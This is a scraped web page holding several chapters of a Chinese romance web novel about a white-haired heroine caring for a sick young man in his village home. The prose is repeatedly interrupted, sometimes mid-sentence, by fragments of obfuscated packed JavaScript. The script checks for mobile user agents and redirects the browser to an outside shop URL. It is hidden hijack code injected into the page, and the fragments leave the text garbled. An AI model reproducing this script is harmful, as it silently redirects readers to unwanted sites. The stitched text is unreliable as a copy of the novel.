0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086492|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 船上可是没有什么新鲜水果吃的,他虽然稍微被她和梁赞养胖了一些,但是脸色依旧不怎么好。 特别是他的药还喝完了,她都没有机会再给他喂食她的血液,看着二娣还略显苍白的唇色,她就知道,之前七天的那点儿血量,根本不够治疗他这娘胎里带出来的病。 她正皱着眉思考着呢,旁边一只纤长细腻的手伸了过来,不住地勾着她放在树干上的小指。 “啪!” “干什么,想事儿呢,别闹。” 静之一巴掌轻轻拍开他的手,又收回手托着自己下巴看着远方的山峦,眉间蹙得都快黏到一起了。 二娣看她一脸不耐的样子,眼神瞬间黯淡下来,悻悻收回手,声音里带着掩盖不住的低落,也或许是,他根本不想掩盖: “天黑了,走吧,不然等会该看不见了。” 静之抬头看着远处橙红带上一点紫意的天空,甩了甩头,暂时摒掉脑海里的忧愁,叹了口气,才点点头说了声好。 她站了起来拍了拍身后的裙子,拿着手上的枣子,边走着,又突然说了一句: “梁赞还没吃呢吧,我不用吃这么多,这些留给他好了。” 他给她的手套,洁白无瑕,还细细绣着精美的花纹,质量一看就很好,一定是花了不少银钱买的,总不能亏待人家。 二娣却更委屈了,那明明……是他摘来给她吃的。 他并未答应,只是拧着眉,眼里带着水光,默默看了她一眼,然后垂着头走在她身侧。 “……别这么小气嘛,他也帮了你不少,给他吃几个?” 二娣站定身子,紧抿着嘴,良久才别过脸去,低声 呢喃着: 本小章还未完,请点击下一页继续阅读后面精彩内容! 第38章 回到老家 “哎呦喂,终于到了,累死我了,终于能睡个好——诶,娣哥,你这只有一间房,怎么睡?” 梁赞把行李放在布满了灰尘的四方桌上,正伸着懒腰,转动着胳膊肘舒活筋骨,到处打量着,突然发现只有左侧有一个房间,房间里靠窗的位置有个炕,不大。 炕边一柜子,同样布满蛛丝。 而外面屋里的简陋程度,简直可以说是贼进来了,都得扔两个铜板再走的程度。 不是,他娣哥也算是个角儿,没有穷到这份儿上吧? 而且,怎么睡觉是个大问题啊。 娣哥+他,他被娣哥一脚踹到地上的概率更大。 娣哥+静之,他俩也还没到那个程度。 他+静之,他可能会被……打死的吧。 正当他一张俊脸皱皱巴巴,左右乱看,不知如何是好的时候,静之发话了。 “怎么睡,就像戏班子里那样睡呗,被褥我们自己有,这不是有椅子吗?” 她脚勾过来几块椅子一合,手往下一比,“喏,擦干净后,往墙边一摆,不就是小床一张了吗?” 梁赞有些乍舌,她适应得倒是快。 不过在别人家,也不能过分挑剔,于是他耸耸肩,自觉出去打水。 静之正四处走动观察着周围环境,二娣亦步亦趋跟在她身后,有些不好意思的说: “我很久没回来了,我家没人,所以脏了些。” 静之不甚在意,她拿起墙边的一根竹竿,抖落抖落上面的灰尘,然后拿着朝屋外走去。 他问:“你干什么去?” 静之一把将竹竿架在院子两棵树的树杈上,这才回头与他解释: “等会梁赞打水回来擦干净,明早我们就可以晾晾被子啦,最近半个多月都在水上飘荡,被褥都一股霉味哦。” 她又指了指他的大包裹说: “还有你的,被单上还有药渍呢,一股子中药味,明天一起给你拆下来洗洗。” 二娣看着她的眉眼柔和得不行。 此时他只有一个想法——她好像……这里的女主人啊。 见他一脚跨出门框,要跟到院子外面,静之又朝他扬了扬手: “你别出来,晚上外面风大,我去找隔壁借张纸。” 他疑惑:“借纸干什么?我有纸。” 静之撇了撇嘴,又指了指他房间往外支到院子里的窗户说: “窗户就只有个木头框子,得糊上,不然你会着凉的,还有你的纸……不会是指你的书吧?” 二娣悻悻,没有说话。 静之拍了拍手上的灰尘朝篱笆外走去,边朝他说: “你那些书,可不兴乱撕啊,我去去就回!” 二娣扶着门框,正痴痴地看着月光下那抹渐渐远去的窈窕背影,突然听闻隔壁的门咯吱一声,脑子里瞬间记起隔壁住着的人,于是撇了下嘴,赶紧收回脚,哐的一声把门合上。 刚走到隔壁篱笆外的静之,听到声音回头一看。 好家伙,关得够严实。 这是病久了,还自闭上了,生人都不想见了? 正当她回头张望的时候,隔壁房子的门打开了,走出来一约十六七岁,生得圆润可爱,扎着俩麻花辫的姑娘。 见到亭亭玉立的静之,她眼里闪过一丝惊艳,又暗含着一丝警惕轻声问:“您是?” 静之笑了笑,又朝她招了招手说明来意: “你好啊小妹妹,我是隔壁刚来的,天色已晚,集市又甚远,我那窗户上糊的纸破了,所以想着就近找您家买几张纸。” 小姑娘上前了几步,有些疑惑地朝隔壁张望了一下,又挠了挠头说: “我刚刚明明听到有男人的声音。” 静之笑眯眯扶着篱笆说: “是啊,我们有三个人,我……心上人他病了,不能吹风,所以这不是急着来讨两张纸吗?” 说着,她又从怀里拿出几枚铜板捏在手心,把手往里伸:“呐,我不白要的,给你钱。” 小姑娘摆了摆手,圆圆的脸蛋上浮上一丝红晕:“没事,就几张纸,我去拿。” 边说着,她又看了一眼月光下的静之,才转头回去拿纸,边走还边小声嘀咕着: “白头发,怪得很,但是笑起来怪好看的。” 屋里头突然传来一声中气十足的声音:“奀妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086493|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,什么怪啊?” “爹,没啥,我出去关鸡笼子。” “好,关好了就回来,夜里凉。” 奀妹暗自思量,隔壁不是她师叔的家吗,刚刚那个姐姐说心上人,难不成……是师叔的老婆,师叔他病了? 不多时,她拿了几张宣纸并一碗浆糊跨出门槛,走到篱笆前: “喏,给你,碗不用还了,别让我爹知道。” 静之接过东西,又把铜板迅速往她手里一塞,然后快步走回去: “知道啦,奀妹,我记得你的名字了,我叫静之,以后多多关照呀。” 边走,她还边思考着,奀妹刚刚说的是啥意思,难道是她爹不好相处吗? 还未走到屋前,就听得吱呀一声,眼前的两扇木门打开了一条缝隙,屋里点着煤油灯,光线有些暗, 静之却透过门缝,眼尖地看到二娣幽暗的眼神。 啧,病了之后,他的性子是越发奇怪了。 她撇了撇嘴,一手拿宣纸,一手拿装着浆糊的碗,用手背推开门,刚一跨进去,二娣就给她来了个门咚。 她紧紧贴在门上,侧过脸去,躲过他凑上来的嘴,怕手中的纸被戳破,于是只能用拿碗的手背撑开他抵上来的胸膛,声厉内荏呵斥:“你,你干什么,走开!浆糊要倒掉了!” 二娣胸口大力起伏了两下,眼神幽深地看着她微红的侧脸,悠悠说着: “小之,我刚刚……都听到了。” 静之几乎是屏住呼吸说:“听到就听到了,赶紧走开,一堆活儿没干呢。” 突然侧脸被啄了一下,她转过头瞪大了眼睛看已然退开身子的二娣,好一会儿,才呐呐说着:“你,你!谁准你亲我的。” 好似恼羞成怒,她一脚勾过地上的篮子朝他甩了过去。 二娣稳稳接下,放在四方桌上,又朝静之走近一步。 她有些手忙脚乱,手上紧紧捏着东西,一个转身,一脚跨出门框: “还来?别以为你病着,我就不敢打你。” 二娣有些挫败,一眨眼的时间,却又突然扬起了笑容,眸子里尽是潋滟深情: “你说……我是你心上人。” 第39章 师出同门 “切,我不是跟你表过白的吗,这么激动干什么,你给我走开哦,不然我倒你一身。” 静之伸了伸手中的碗,试图恐吓站在屋里,笑得一脸温柔的二娣。 “好,你进来。” 他打开一扇门,侧过身子,大手一挥,为她让路。 静之狐疑地看了他一眼,又谨慎的说:“你退后三步。” 二娣一噎,双手干脆背在身后,没好气地朝身后挪了三步。 “……嘁,还挺乖。” 正当两人僵持住的时候,梁赞提着两大桶水晃晃悠悠的回来了。 “娣哥,来喽,快开门让我进去。” 二娣:……呵。 他走到门边,使了点力哐的一声把门扇打开,又装作委屈极了的样子,朝静之看去。 结果视线落空,他转头一看。 得,人家已经爬到他炕上给他窗户糊纸了。 许久,正忙活着的静之一直没有听到他的声音,于是下意识回头一看,却见他还杵在老位置,背着手,挺着胸,正拿一双无辜的眼睛直勾勾盯着她瞧。 静之闭了闭眼,好一会儿,才咬咬牙说: “别杵着了,过来帮我按住纸。” “来了!” 他嘴角一勾,快步上前,心中暗忖,梁赞教的这招是真好使啊,百发百中。 …… 没过多久,他就后悔了。 他的炕在屋子西北角,她索性就把自己的小床搬到东南角,那处是在这个房屋范围内,离他最远的位置。 梁赞的小床倒是离他近,就安置在他房间外的那堵墙边,以便随时可以起夜照顾他。 此时他已累得鼾声四起,躺在床上的二娣却久久无法入眠。 睡前,静之本想把他房门关上的,他却借着窗户已被糊上,再关门就无法通气的借口,获得了开着门睡觉的权利。 这时,他翻了个身,脸冲着房间外面,朝她所在的方向看去,却只见到几根椅子腿,心心念念的那抹身影被四四方方的桌子挡得结结实实。 二娣:啧,明天就给它挪个位置。 他翻腾了大半宿,才迷迷糊糊地睡了过去。 这时,静之却从床上爬了起来。 后半宿的时间,可给她忙活坏了。 她偷偷摸摸走到二娣门口,轻轻关上他的房门,然后点灯看了快一个时辰的医书,看到最后,实在眼睛酸得不行,于是索性盘腿坐到小床上开始打坐。 打坐修炼的时间过得倒是挺快,一转眼,她都能听到外面的鸡啼声了。 她刚收势还未睁开眼睛,耳边却突然传来一粗粝的男声: “静之啊,你这功法能教我不,我要求不多,能像你一样飞起来就行。” “……” 她面无表情盯着梁赞,淡淡地说:“你要是想学,倒是简单。” 梁赞大喜:“真的??” 静之朝他勾了勾手指,梁赞乐呵呵凑了过去,却听到她悠悠的说:“重新投胎就好了。” 梁赞突然直起身子,嘴都快撅到天上去了,他瞪了正在坏笑的静之一眼,“吱呀”一声,拉开木门就往外走。 出去前,还咬着牙说:“你有时候跟娣哥一样坏。” 静之一脸无辜,摊了摊手,又眨了眨眼睛说:“我说的是事实嘛。” “……哼!” 他一开门出去,静之就突然听到隔壁传来哼哼哈哈的声音,好像有人在练功似的。 作为同样痴迷武学的静之,哪里能错过这种热闹。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086494|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她趿拉着地上的绣鞋,一溜烟就冲了出去。 刚走到院子口,就看到昨晚摆在院子里的那俩水桶不见了,就剩下两圈湿漉漉的印子。 她料想梁赞估计是去提水了,也没理他,径直走向了隔壁院子。 越靠近,就越能听到来自屋里中气十足的哼哈声。 她屏住呼吸,放轻脚步,悄悄来到早已支起来的窗前,偷偷朝里望去。 刚看一眼,她就忍不住啧啧称奇。 大叔一大早运动量就这么大的吗? 只见一头发半白,身形臃肿的胖大叔,此时正以倒挂金钩式挂在房梁上,右手却又下垂到桌上执着一只毛笔作画,嘴巴里还念念有词: “江和日泄,天马行空!” 静之抬头望着那堪比他脚脖子粗,又随着他手中激烈的作画动作,而晃荡下几撮灰尘的房梁,心里忍不住为这位大叔捏了把汗。 这人,虎是真虎啊,等会这房梁木不会从中折断了吧? 正当她这样想着的时候,屋里突然传来一清脆的女音: “爹,好功夫!” 这时,静之才注意到桌边还站着一个眼熟的妹子。 哦,原来是昨晚给她送纸的奀妹啊。 此时她小脸红扑扑的,看着她爹利落翻身落地的动作,一脸羡慕。 静之有些疑惑,为何她会羡慕? 难道她爹没教她武功吗? 正当她埋头沉思的时候,大叔说话了,语气里充满自信: “奀妹,这张画呢,是你爹我生平第一次完成的书画,送给你!” 奀妹却是面露难色,甚至可以说 是愁眉苦脸。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第40章 横插一脚 静之老老实实指了指隔壁房子说: “那有个胖大叔在画画,我过去看看嘛。” 二娣朝左边去了一眼,这才轻声说着: “他画画有什么好看的,你要看,我也可以给你画。” 静之挠了挠头: “我觉得蛮好看的嘛,他画得挺传神,而且他胖归胖,身手倒是挺敏捷的。” “…………” 一息之间,二娣脸歘的一下全黑了。 他背着手绷着背,快步走进屋内,半曲着膝盖刚想坐下,见静之还站在那,他又走到门侧,抿了抿嘴,声音低沉的说: “……进来。” 边说着,还边关上一扇门,又朝那边的屋子瞪了一眼。 看他异常的脸色和行为,静之缓缓走上前去,一脸好奇看着他问: “怎么了?你跟他不是师兄弟吗,你跟他有仇啊?” 二娣皱眉思考了许久,却又不知道该怎么跟她说,索性进屋抱了他的被子出来,放到梁赞床上,生硬地转移话题: “你不是要晾被子,我帮忙。” 静之拳捶掌,突然反应过来还有这事儿,又转头看了看外面初升的大太阳: “哇,天气真好,那就晒一下吧,你拆你的被单,我先把我的跟梁赞的一起拿出去晒,等会我再帮你洗被单哦。” “我自己会洗。” “……你能碰凉水吗?” “……” 病秧子失落的低下了头。 静之恨不得猛猛抽自己一嘴巴子。 “娣哥,水来了,我这就烧水给你洗漱。” 这时梁赞又回来了,他提着两桶水刚要走进左侧的厨房,静之赶紧叫住他: “梁赞,水一桶给我。” “干什么?” “洗二娣的被单。” “你们,他……” (⊙o⊙)哇靠! 他就出去一小会儿,他娣哥这么快就……?! 不过这也……太快了吧?! 他娣哥果然是病没好,身体还虚着呢吧? 想着想着,他的视线从二娣的上三路,默默垂直往下移。 静之朝他翻了个白眼,脸却突然红了: “……想什么呢!他被套上不是洒了药嘛。” 二娣更直接。 他苍白的脸都快黑成煤球了,视线一转,挑起地上的脸盆就朝梁赞狠狠丢了过去。 梁赞大手一挥将盆抱在怀里,接是接住了,却被二娣怒极了的力道震退了好几步。 “还不去烧水!” “哦哦哦!” 他抱着盆,宛如脚底抹了油般,溜得飞快,就留下二娣跟静之两个人面面相觑。 静之的眼神依旧停留在他的上三路,眼里却闪过一丝了然。 了然?! 二娣先是“?”,一瞬间表情又变成“!” 他急急冲了过来,捏住转身欲到屋外晾被的静之袖子,有些欲言又止: “小之,我,我不是……我没有……我……” 静之腾出一手,拍了拍他的肩膀,长叹了一口气,又语重心长地说: “不怪你,等我把你医好了…………那什么,都会好起来的。” 二娣:“……… !………” 他又急又气,又羞又恼,又不知道该怎么解释,见她还一脸“我都懂!”的表情,他磨了磨后槽牙,眼神一暗,迅速俯下身就咬了她下唇一口,又趁她没反应过来,一溜烟跑进自己屋里,砰的一声把门关上。 “嘶!怎么跟……他一样,就知道咬人。” 静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086495|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之望着那紧闭的房门暗自嘀咕着,又试探性摸了一把唇瓣,然后伸出手指一看。 还好,还没出血。 臭弟弟! 她剜了房门一眼,就抱着被子跨出大门朝院子外头走去。 …… 洗被中。 “吱呀!” 静之耳朵动了动,却没转头,她淡定地坐在小凳子上,淡定地俯下身拿皂角涂了涂被套上褐色斑点,然后淡定地搓了起来。 身后的人却没有她的淡定。 二娣从他房里提着一块藤编摇椅走了出来,放在她侧边,然后吱呀一声坐了下来,边缓缓摇着,边一眼都不带眨的,盯着她头顶的发旋看。 静之:啧,跟监工似的,搞什么? 她顶住炽热的视线,抬头看了他一眼。 二娣——越发熟练抛了个含情脉脉的媚眼。 静之——头顶生烟,俏脸焦红,恼羞成怒,下一秒,曲起沾满水的手指就往他脸上弹。 二娣——抽巴着眼睛,迅速低头揉眼。 他说:“唔……眼睛疼,小之,你手上有皂角汁。” 说话间还夹杂着几声疼痛的嘶嘶声。 好,好像是哦。 瞧他眼尾都揉红了,还张不开眼的样子,静之急昏了头。 她舀起一瓢身后的清水,迅速站起来冲了过去,心急如焚地说: “手快放开,昂头,我给你洗洗眼睛!” 边说着,她还边冲干净自己的手,又朝他叫唤:“快点!” 二娣紧闭着眼睛昂起头,缓缓把手 放下,静之眼疾手快,掬起一点水就往他眼睛上浇。 他的眼皮不断抖动着,每次一睁眼,静之就能看到他微微红起来的眼球。 这章没有结束,请点击下一页继续阅读! 第41章 谁敢动俺女儿?! 话音刚落,隔壁突然传来一声巨响,紧接着又是一声怒吼: “谁敢动俺女儿?!” 静之:一大早的,这是怎么了? 她丢下手中的衣服,一个箭步就冲了出去,然后扒在刚晾的被单后往隔壁院子偷看。 还没看上两眼呢,梁赞就被昨天那个胖大叔一脚踹回她这头来,篱笆都被他压倒了一小片。 她一个侧身躲过,梁赞也没来得及理她,见那大叔带着奀妹追了过来,他手脚并用爬起,姿势万分狼狈地拔腿冲进屋里,又慌慌张张地把门关上。 那大叔狐疑地看了一旁的静之一眼,心里更多的是对梁赞的怒火。 他袖子一撸,骂骂咧咧,快步走进院子: “你以为把门关上,俺就不敢进来抓你啦?!” 奀妹站在原地欲言又止,又朝静之尴尬笑了笑: “静之姐姐。” 静之也对她一笑,刚想问发生了什么,身后吱呀一声,门开了。 她回头一看,二娣掐着梁赞后脖颈怒气冲冲走了出来。 “梁赞,今天算你倒霉,得罪了这种文盲、老粗、野蛮、没人性的人!就算你再有理,他都不会听你解释的。” 得,梁赞这是前脚刚得罪完二娣,后脚又去掸老虎须,他怎么这么会惹事? 静之悄咪咪蹭了过去,扯了扯他负在身后的袖子,小声问: “发生什么事了?” 二娣温柔地看了她一眼,刚想说话,眼前的胖大叔不同意了。 他吹胡子瞪眼,指着二娣的鼻子就骂: “你说俺文盲、老粗、没有人性?!你他奶奶的!!” 二娣略带嫌弃斜了他一眼: “你看看你,多粗鲁!” 大叔咬牙切齿: “……好!现在我用读书人的语气,来跟他讲讲理。” 说着,他扯过一旁的梁赞问: “现在我给你一个解释的机会,你为什么要动……” 说到一半,他面露难色,又回头问奀妹: “奀妹,''动''字斯文点怎么说?” “不知道。” 静之耳朵动了动,她瞅了一眼被揪住小辫儿的梁赞,有些疑惑。 他不是去找东西吃了吗,怎么会被人家打上门了呢? 正当她思考的时候,二娣往前去了一步,上下打量了一眼奀妹,有些感慨的说: “奀妹?都长这么大了,长得真像你爹。” “废话,俺的女儿长得不像俺,难道会像你?!” 眼瞅着他俩又要吵起来,静之戳了戳二娣的后腰,低声说: “别吵了,你问问发生什么了?” 二娣不知被她戳到哪个敏感地带,浑身直起鸡皮疙瘩,他负在背后的手一把抓住她作乱的手指,这才沉声问道: “到底发生什么事?” 边说着,还边瞪梁赞一眼。 二娣:臭小子,不仅坏他好事,而且惹谁不好,偏偏惹到他了。 梁赞还没说话呢,奀妹站了出来: “他调戏我!” 静之错愕抬起头:“梁赞,你!” 好小子! 一会儿不见,居然学会调戏良家妇女了?! 梁赞回过头,一脸苦相摆了摆手,还没说啥呢,旁边的大叔腰一叉,又朝他说: “说的对,你为什么“调戏”俺女儿,请……讲!” 周围顿时静了下来。 梁赞见众人都盯着他看,他这才愁眉苦脸的解释: “你误会了,其实我是想抓只鸡给娣哥补补的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086496|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二娣眉间一松。 静之却心慌的很。 因为那个臭弟弟又搞小动作了。 他细腻的两个指腹一直轻轻揉捏着她那根手指头,时不时拿指节压一压,甚至还拿圆润的指甲轻轻划拉两下。 她知道他在暗暗撩她,但是她手上有疤啊啊啊! 而且刚刚洗完被子还未带手套,眼瞅着他就要摸到掌心了,她心跳顿时漏了一拍。 也顾不得是在人前了,她大力甩开他的手,两手捏着拳头掩盖住道道伤疤。 又借机上前一步说: “奀妹,他有没有对你做出不道德的行为?” 二娣看着她的拳头,以为她真的生气了,心慌得厉害,亦步亦趋跟在她后面,欲言又止。 这时,他们面前的奀妹摇摇头:“那倒没有。” 静之一拳头怼在梁赞背上,往前一推:“还不快点给人家道歉。” 梁赞回头: 啊?!我冤枉啊! 静之啧了一声,又凑近他小声说: “你还想不想拜师了,二娣看着你呢!” 刚说完,她的手臂就被扯住往回一拉。 静之回头一看,二娣动了动嘴,别过眼神,别扭的说: “男女授受不亲。” 静之视线缓缓下移到她胳膊上捏着的那只骨节分明的手上,发起无声的反问。 二娣这才不情不愿松了手,脸焦黑。 梁赞瞅了一眼二娣的黑脸,吓得赶紧转过身去给奀妹鞠了个躬: “对不起啊小姑娘。” 又对 大叔鞠个躬: “对不起啊,胖子。” 静之一拍额头。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第42章 我也要去 她头也没抬,皱着眉头边看边回答: “怎么了?” 看了大半个月的医书了,她也了解到了一点气喘之症,确实难治。 且这书都快被她翻烂了,也没写怎么治疗啊,唉…… 正当她垂眉叹气的时候,一条溜光水滑的辫子突然伸到她面前。 “别叹气,给你揪。” 她撇了撇嘴,抬头看了他一眼: “你又没惹我,揪你干嘛……不揪。” 二娣眼里带着一丝遗憾,悻悻收回辫子。 活了二十几年,他嘲讽别人的本事早就练到炉火纯青,还从未安慰过人。 一时之间,他僵在原地,绞尽脑汁思考了半天,竟不知道该说些什么。 倒是静之率先打破了沉默。 “我要出去一趟。” 说罢,她蹲下身,从她的小金库里掏出一些银子装进荷包里,然后又小心翼翼藏好东西,这才转身站了起来,朝外头走去。 “你要去哪里?我也去!” 他快步跟上,还没跟几步,就被抵着胸膛往回推。 她细细打量着他的脸色,略带迟疑的问: “我要去集市买点东西,有点远哦,得走着去,你可以吗?” “我可以!” 男人怎么可以说不行! 二娣猛地一拍自己胸脯,却把自己拍个岔了气,忍不住捂着嘴咳嗽了几声。 静之一脸难色: “要不……你自己待着,我很快就回来的。” “……我也有事要去集上。” “什么事?” “……” “嗯?” 二娣经不住她的打量,转身快步走进房里,不到一会儿,急冲冲的纽着外袍上的扣子就走了出来。 看到静之还没走,他长长舒了口气。 走到她身边站定,轻声却不容置疑地说: “走吧。” “……” 静之打量了他一下,却突然笑出声来。 “……笑什么?” 她没有说话,只是默默解开他慌乱之中扣错位的扣子,然后往下扽平他的袍子,又一颗一颗给他纽上,小心翼翼地,以求不碰到一点他的胸膛。 纽到一半,一双小手就被紧紧握住。 刚一抬头,一道黑影就覆了下来。 啧,小病秧子,上辈子打不过你,这辈子还收拾不了你?! 她大力一转手腕,轻松挣脱他的束缚,又眼疾手快一把揪住他撅起的嘴唇,半眯着眼斜他一眼: “想干什么?” 她手中的唇瓣动了动,他的眼里渐渐浮起一层水雾,却并未挣扎,只是拿委屈到不行的眼神直勾勾地盯着她。 “……哼,剩下的自己扣。” 她猛一松手,快步走了出去,脚步有些急促且凌乱。 看着她落荒而逃的样子,二娣迅速收起眼里的泪水,嘴角渐渐勾起,勾到一半,却突然感到一阵疼痛。 他轻轻抚着唇,眼里毫无一丝怒意,反而越发柔和。 罢。 不过是一副破败的身子,只要她肯碰他,就算打他一顿也行。 …… 静之刚一出门,就看到梁赞蹲在厨房门口杀鸡,她透过篱笆看了看隔壁满地跑的鸡,不禁怒从心起: “梁赞,你不会是偷抓人家的鸡了吧?” 梁赞闻声抬头,一脸慌张,疯狂摆手,期间手上黏着的鸡毛随着他的动作舞了满地。 “没有没有,是隔壁那个奀妹丢过来的,说是给我们的。” 静之突然想起奀妹之前的大肚之言,有些恍然,随即又皱起眉头问: “你给她钱了吗?” “……还没来得及。” “啧。” 她又交代: “别炒着吃,炖汤喝,给二娣补补身子,我们出去一趟,不用做我们的饭了。” 说完,她摸出荷包拿了一碎银,穿越篱笆,小心避开满地奔走的鸡,放缓步子走到隔壁门口。 刚想敲门,突然又想起奀妹她爹火爆的性子,她咽了口唾沫,犹豫几秒,这才轻了又轻,敲了两下。 正当她以为屋内之人听不见的时候,不过几秒,门吱呀一声,开一条缝。 给提心吊胆的她吓得浑身一震,她下意识猛地将碎银朝里一丢,然后转身就跑。 跑到一半,还转身朝身后不远处的二娣疯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086497|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狂招手: “快走快走!” 二娣看着她活泼跳脱的模样,嘴角突然勾起一抹醉人的笑意,静之不禁看得有些发愣。 就在这时,屋内突然传来一声怒吼: “哎呦!他奶奶的,谁拿石头丢俺!看俺不抽得他屁股开花!” “爹,不是石头,好像是……银子。” “谁会丢银子进来,俺出去看看。” 见二娣还搁那儿笑,静之一跺脚,往回疾走几步,拉着他的手顺着乡间小路快速奔逃。 …… 这几步距离,还不足以让他气喘吁吁,可二娣却觉得心跳飞快。 他垂眸看着紧紧交握的双手,虽隔着一层手套,但她手心炽热的温度已然暖了他冰凉的 手掌,仿佛也一路暖进他心间,二娣只感觉到内心一阵柔软。 可惜好景不长,见远离了奀妹家的房子,静之立刻放开他,在他前头慢悠悠走着,还边回头打量他的脸色: “不好意思,事出突然,我怕我屁股被他抽烂……你还坚持得住不?” “……我没事。” 见他面色如常,苍白,但胸口起伏不大,眼里有神,她这才缓缓松了口气。 又默默转身慢慢走着,边走边说: “好啦,这回我慢慢走,你也慢慢来,出来得早,不急。” 二娣跟了上去与她并肩,轻轻嗯了一声。 他习惯将袖口挽起半截,随着走路的晃动,她的衣袖一下一下打在他的手腕上,二娣心思又开始浮动了起来。 他用眼角的余光悄悄朝她觑了一眼,见她专注赶路,他抿了抿嘴,伸出两指轻轻伸了过去,去够她的衣袖。 几次之后,终于抓到那晃个不停的衣袖,他内心一喜,赶紧揪住一角捏在手里。 二娣:这样…就好,再多…她又要推开了。 这点动作怎么逃得过静之的法眼,她指尖轻轻动了动,最终还是没有拂去他的手,暗暗叹了口气,就这样任他揪着,朝着市集走去。 远远望去,两人仿佛手牵着手漫步田间,路过的乡亲忍不住感叹: “原来是奶奶牵着孙子出来逛街呢!” 得,静之那一头白发,又被误解了! 第43章 互相着想 “大夫,帮我拣一下这张药单上的药。” 静之小心翼翼地掏出那张被她翻了无数遍的药单,递给桌子后面的老头。 他伸手接过,看了几眼,也没问,转身就开始开药柜抓药。 等药摆到静之面前,静之却是眉心一紧。 “大夫,没有炮制好的吗?” 老头摆了摆手,又指了指门口地上摊开的一溜草药: “我就一个人,哪里有时间一一炮制,这些药草,都是村民上山采过来卖与我的,他们也不懂……你啊,就回去自己切片晾晒吧,效果都一样。” 静之望着地上还带着泥巴和露水的药草,缓缓叹了口气: “行吧,那你得给我算便宜点哦。” 现在她可是没有了经济来源,二娣的病还不知道什么时候能够治好,药还要坚持吃的,她是一分钱恨不得掰成两半来花。 “行行行,你可真是会讲价。” …… 等她买好了药,又购置了一些生活用品,还有柴油米面等等,带出来的钱已然都快被她花得精光,瞅着手里仅剩的十几个铜板,静之把手上的推车一放,快步走到包子铺,将剩下的钱都买了包子并几个大白馒头。 他们三人可都没吃饭呢,她倒是不需要吃凡食,二娣跟在家的梁赞可就要饿昏头了都。 话说,二娣那家伙,怎么还没回来。 她把包着食物的袋子往推车上一放,然后把车推到约定的地点,又踮起脚尖四处张望着…… …… 首饰铺。 “老板娘,当真没有办法了吗?” 老板娘把断成三节的簪子往回一推,一脸为难地说: “客官,不是奴家不帮您修,奴家……爱莫能助啊。 您这簪子,不止是裂开这么简单,裂口处还有一些细碎的玉片不见了,再怎么修,都不能回到原来的样子。” 她又指了指柜面上的其他样式的玉簪,一脸期待地说: “要不您看看奴家店里其他首饰,买根新的,说不定您家夫人会更高兴呢?” 她想,这簪子都碎成这样了,肯定是俩口子吵架了,买个新的赔罪一下,不就好了吗,她也能顺便多一笔进账,这不是一举两得,皆大欢喜了嘛。 二娣本来挺失落的,都想拿回断簪走人了,耳边却又突然听闻“夫人”二字,他内心不禁一阵鼓动,竟真的慢慢看起了老板娘推荐的玉簪…… …… 眼瞅着旭日当空,都快临近午时了,二娣迟迟未归,静之急得左右不断踱着步子,生怕他哮喘突然发作。 